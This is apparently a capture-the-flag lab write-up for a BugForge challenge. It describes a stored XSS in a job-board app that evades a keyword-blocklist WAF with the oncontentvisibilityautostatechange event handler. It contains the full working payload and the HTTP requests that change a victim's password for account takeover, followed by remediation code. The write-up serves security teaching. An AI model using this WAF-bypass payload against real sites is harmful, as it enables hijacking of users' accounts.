FurHire: WAF Bypass — Stored XSS via Application Status
Overview
- Platform: BugForge
- Vulnerability: Stored XSS, WAF Bypass
- Key Technique:
oncontentvisibilityautostatechangeevent handler bypasses keyword-based WAF blocklist, fires viacontent-visibility:autoCSS without user interaction - Result: Account takeover — changed target user jeremy’s password via stored XSS through socket.io toast notification
Objective
Achieve XSS on target user jeremy. The application has a WAF blocking standard XSS vectors.
Initial Access
# Target Application
URL: https://lab-1773522863657-6jdfnj.labs-app.bugforge.io
# Auth details
# Self-registered accounts:
# Seeker (user role) — used for recon and receiving toasts
# Recruiter role — used for injection via application status updates
# PwnFox container isolation: blue = seeker (id=6), yellow = recruiter (id=7)
Key Findings
-
Stored XSS via application status field (CWE-79: Improper Neutralization of Input During Web Page Generation) — The
PUT /api/applications/:id/statusendpoint accepts arbitrary HTML in thestatusfield. The server includes this raw value in socket.iostatus_updatemessages, whichshowToast()renders viainnerHTML. -
WAF blocklist gaps (CWE-693: Protection Mechanism Failure) — The WAF uses a keyword blocklist for event handlers rather than a broad pattern like
on\w+=. Newer browser event handlers not in the list (e.g.,oncontentvisibilityautostatechange) pass through unblocked.
Attack Chain Visualization
┌──────────────┐ POST /api/jobs ┌──────────────┐
│ Attacker │──────────────────────▶│ FurHire App │
│ (recruiter) │ │ (Express) │
└──────┬───────┘ └──────┬───────┘
│ │
│ jeremy applies to job (~3 min) │
│◀─────────────────────────────────────┘
│
│ PUT /api/applications/:id/status
│ {"status":"accepted<img oncontentvisi..."}
│─────────────────────────────────────▶┌──────────┐
│ │ WAF │
│ WAF passes payload │ blocklist│
│◀────────────────────────────────────└──────────┘
│ │
│ ┌───────▼───────┐
│ │ socket.io │
│ │ status_update │
│ └───────┬───────┘
│ │
│ ┌───────▼───────┐
│ │ jeremy's │
│ │ browser │
│ │ │
│ │ showToast() │
│ │ innerHTML │──▶ XSS fires
│ │ │
│ │ fetch() PUT │
│ │ /api/profile/ │
│ │ password │──▶ password = "password2"
│ └───────────────┘
│
│ POST /api/login {jeremy:password2}
│─────────────────────────────────────▶ Account takeover ✓
Application Architecture
| Component | Path / Detail | Description |
|---|---|---|
| Backend | Express (Node.js) | REST API with JWT auth (HttpOnly cookie) |
| Real-time | Socket.io | Delivers status_update, job notifications as toast messages |
| Client rendering | AJAX + innerHTML | FurHire.escapeHtml() used in templates, but NOT in showToast() |
| WAF | Keyword blocklist | Blocks known event handlers, <script, <iframe, javascript: |
| Auth | JWT in HttpOnly cookie | Payload: {id, username, role, iat} |
| Client state | localStorage | Role and user info stored client-side |
Exploitation Path
Step 1: Reconnaissance — Mapping the Application
Registered two accounts using PwnFox for container isolation:
- Blue container — seeker account (id=6) for browsing the app as a job applicant
- Yellow container — recruiter account (id=7) for posting jobs and managing applications
Mapped all API endpoints via browser devtools network tab. Identified the tech stack from X-Powered-By: Express header and socket.io connections in the WebSocket tab.
Step 2: Identify the Sink — showToast() innerHTML
The socket.io status_update event triggers showToast(data.message) which renders content via innerHTML without escaping. This is the only rendering path that doesn’t use FurHire.escapeHtml() — all page templates properly escape output.
// Vulnerable sink in app.js
function showToast(message) {
const toast = document.createElement('div');
toast.innerHTML = message; // No escaping — raw HTML rendered
// ...
}
Step 3: Identify the Injection Point — Application Status
The PUT /api/applications/:id/status endpoint accepts a JSON body with a status field. The server does not validate or sanitize this value — it’s included raw in the socket.io message sent to the applicant.
PUT /api/applications/1/status HTTP/1.1
Content-Type: application/json
Cookie: token=eyJ...
{"status":"accepted"}
The server emits:
socket.emit('status_update', {
message: `Your application status has been updated to: ${status}`
});
Step 4: WAF Analysis and Bypass
Initial XSS attempts were blocked by the WAF:
// All blocked:
<img onerror=alert(1)> → blocked (onerror in blocklist)
<svg onload=alert(1)> → blocked (onload in blocklist)
<script>alert(1)</script> → blocked (<script in blocklist)
<iframe src=javascript:...> → blocked (javascript: in blocklist)
Tested the WAF’s detection approach:
<x onfakeevent=test> → PASSED ✓
This confirmed the WAF uses a keyword blocklist, not a regex pattern like on\w+=. Any event handler not explicitly listed would bypass it.
Used oncontentvisibilityautostatechange — a newer CSS Containment Level 2 event that fires when an element’s content-visibility state changes. Combined with style=display:block;content-visibility:auto to trigger automatically without user interaction.
Step 5: Craft the Payload
The payload needs to:
- Bypass the WAF (use unlisted event handler)
- Fire without user interaction (CSS
content-visibility:auto) - Change jeremy’s password (fetch to
/api/profile/password) - Use jeremy’s existing auth cookie (HttpOnly JWT sent automatically with same-origin fetch)
accepted<img oncontentvisibilityautostatechange=fetch('/api/profile/password',{'method':'PUT','headers':{'Content-Type':'application/json'},'body':atob('eyJuZXdQYXNzd29yZCI6InBhc3N3b3JkMiJ9')}) style=display:block;content-visibility:auto>
The base64-encoded body decodes to {"newPassword":"password2"}.
Step 6: Execute the Attack
- As recruiter, posted a job listing
- Waited ~3 minutes for jeremy’s bot to apply
- Sent the payload via application status update:
PUT /api/applications/<jeremy-app-id>/status HTTP/1.1
Content-Type: application/json
Cookie: token=<recruiter-jwt>
{"status":"accepted<img oncontentvisibilityautostatechange=fetch('/api/profile/password',{'method':'PUT','headers':{'Content-Type':'application/json'},'body':atob('eyJuZXdQYXNzd29yZCI6InBhc3N3b3JkMiJ9')}) style=display:block;content-visibility:auto>"}
- Socket.io delivered the
status_updateto jeremy’s browser showToast()rendered the payload viainnerHTMLcontent-visibility:autotriggered the event handler —fetch()changed jeremy’s password- Logged in as jeremy with
password2
Flag / Objective Achieved
bug{3pYyQ3gyX5KyzCVWqU3yAcBM5gO1dYne}
Account takeover achieved — logged in as jeremy after changing his password via stored XSS.
Key Learnings
-
Keyword blocklists age badly. New browser APIs introduce new event handlers regularly. A WAF that blocks a static list of
on*handlers will inevitably miss newer ones likeoncontentvisibilityautostatechange(CSS Containment Level 2). A regex pattern likeon\w+=or an allowlist approach is more durable. -
Test the WAF’s detection model, not just its responses. Sending
<x onfakeevent=test>immediately revealed the blocklist approach — that single test saved time vs. brute-forcing known handlers. -
content-visibility:autoenables interaction-free XSS. Unlike handlers that require clicks or hovers,oncontentvisibilityautostatechangefires when the element becomes visible in the viewport. Combined withdisplay:block, it triggers as soon as the DOM renders — no user interaction needed. -
Socket.io sinks are easy to overlook. The main page templates all used
escapeHtml(), but the toast notification path rendered raw HTML. Real-time notification systems (WebSocket, SSE, push) are often an afterthought in security reviews. -
HttpOnly doesn’t prevent account takeover via same-origin requests. The JWT cookie couldn’t be exfiltrated, but
fetch()to the password change endpoint sends the cookie automatically. The impact is identical — full account compromise.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| Job title injection | Blocked | All page templates use FurHire.escapeHtml(); server also escapes title in socket messages |
<object data=data:text/html;base64,...> |
Bypassed WAF, no XSS | data: URIs execute in an opaque origin — no access to the parent page’s cookies or DOM |
JSON unicode escapes (\u006f\u006e...) |
Blocked | WAF decodes unicode escapes before checking the blocklist |
| Content overload (large body) | Blocked | WAF inspects the full request body up to the server’s 100KB limit |
| Content-Type juggling | Blocked | WAF checks all content types, not just application/json |
| URL path reflection | No injection | Server HTML-encodes <>&"' in reflected path parameters |
Company website field with data: URI |
Requires click, opaque origin | Even if jeremy’s bot clicked, the data: URI opens in a sandboxed opaque origin |
Tools Used
| Tool | Purpose |
|---|---|
| PwnFox | Firefox container isolation — separate sessions for seeker and recruiter roles |
| Browser DevTools | Network tab for API mapping, WebSocket tab for socket.io inspection, Console for payload testing |
| Burp Suite / curl | HTTP request manipulation for status field injection |
Remediation
1. Stored XSS via innerHTML in showToast() (CVSS: 9.6 - Critical)
Issue: showToast() renders user-controlled content via innerHTML without sanitization, allowing arbitrary JavaScript execution in other users’ browsers.
CWE Reference: CWE-79 — Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
Fix:
// BEFORE (Vulnerable)
function showToast(message) {
const toast = document.createElement('div');
toast.innerHTML = message;
}
// AFTER (Secure)
function showToast(message) {
const toast = document.createElement('div');
toast.textContent = message; // Renders as text, not HTML
}
2. Missing Server-Side Input Validation on Status Field (CVSS: 8.1 - High)
Issue: The PUT /api/applications/:id/status endpoint accepts arbitrary strings in the status field. The server should constrain this to known status values.
CWE Reference: CWE-20 — Improper Input Validation
Fix:
// BEFORE (Vulnerable)
app.put('/api/applications/:id/status', (req, res) => {
const { status } = req.body;
// No validation — any string accepted
updateApplicationStatus(id, status);
});
// AFTER (Secure)
const VALID_STATUSES = ['pending', 'reviewing', 'accepted', 'rejected'];
app.put('/api/applications/:id/status', (req, res) => {
const { status } = req.body;
if (!VALID_STATUSES.includes(status)) {
return res.status(400).json({ error: 'Invalid status value' });
}
updateApplicationStatus(id, status);
});
3. WAF Blocklist Approach (CVSS: 5.3 - Medium)
Issue: WAF uses a static keyword blocklist for event handlers. New browser event handlers bypass it automatically.
CWE Reference: CWE-693 — Protection Mechanism Failure
Fix: Replace keyword blocklist with a regex pattern or, better, server-side output encoding:
// WAF improvement: block ALL event handler patterns
// Instead of: ['onerror', 'onload', 'onclick', ...]
// Use regex:
const EVENT_HANDLER_PATTERN = /\bon[a-z]+=|<script|javascript:/i;
// But WAF is defense-in-depth, not the primary fix.
// The real fix is #1 (textContent) and #2 (input validation).
OWASP Top 10 Coverage
- A03:2021 — Injection: Stored XSS via unsanitized status field rendered through
innerHTML - A05:2021 — Security Misconfiguration: WAF keyword blocklist incomplete, missing newer event handlers
- A07:2021 — Identification and Authentication Failures: Password change endpoint lacks re-authentication, enabling account takeover via XSS
References
- MDN: contentvisibilityautostatechange event
- CSS Containment Level 2: content-visibility
- PortSwigger: Stored XSS
- CWE-79: Cross-site Scripting
- CWE-693: Protection Mechanism Failure
- OWASP: XSS Prevention Cheat Sheet
Tags: #xss #stored-xss #waf-bypass #socket-io #innerhtml #content-visibility #account-takeover #bugforge
Document Version: 1.0
Last Updated: 2026-03-14